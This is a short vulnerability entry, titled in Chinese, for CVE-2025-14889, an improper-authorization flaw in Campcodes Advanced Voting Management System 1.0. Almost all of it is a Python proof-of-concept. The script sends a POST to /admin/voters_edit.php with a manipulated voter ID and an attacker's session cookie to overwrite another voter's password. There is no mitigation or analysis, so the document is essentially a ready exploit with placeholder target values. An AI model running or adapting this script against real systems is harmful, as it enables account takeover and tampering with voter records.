CVE-2025-14889 Campcodes Advanced Voting Management System 1.0 不当授权漏洞

import requests # CVE-2025-14889 PoC - Campcodes Advanced Voting Management System IDOR # Target: /admin/voters_edit.php Password Handler target_url = "http://target.com/admin/voters_edit.php" # Attacker with low privileges can manipulate the ID parameter # to access/modify other voters' password information payload = { "id": "2", # Manipulated ID to access other voter records "password": "hacked123", # New password to set "confirm_password": "hacked123" } headers = { "User-Agent": "Mozilla/5.0", "Cookie": "PHPSESSID=attacker_session_id" } # Step 1: Send malicious request with manipulated ID response = requests.post(target_url, data=payload, headers=headers) # Step 2: Verify if password was changed for victim ID=2 print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Note: Replace target URL and session cookie with actual values # The vulnerability allows unauthorized password modification # without proper authorization checks on the ID parameter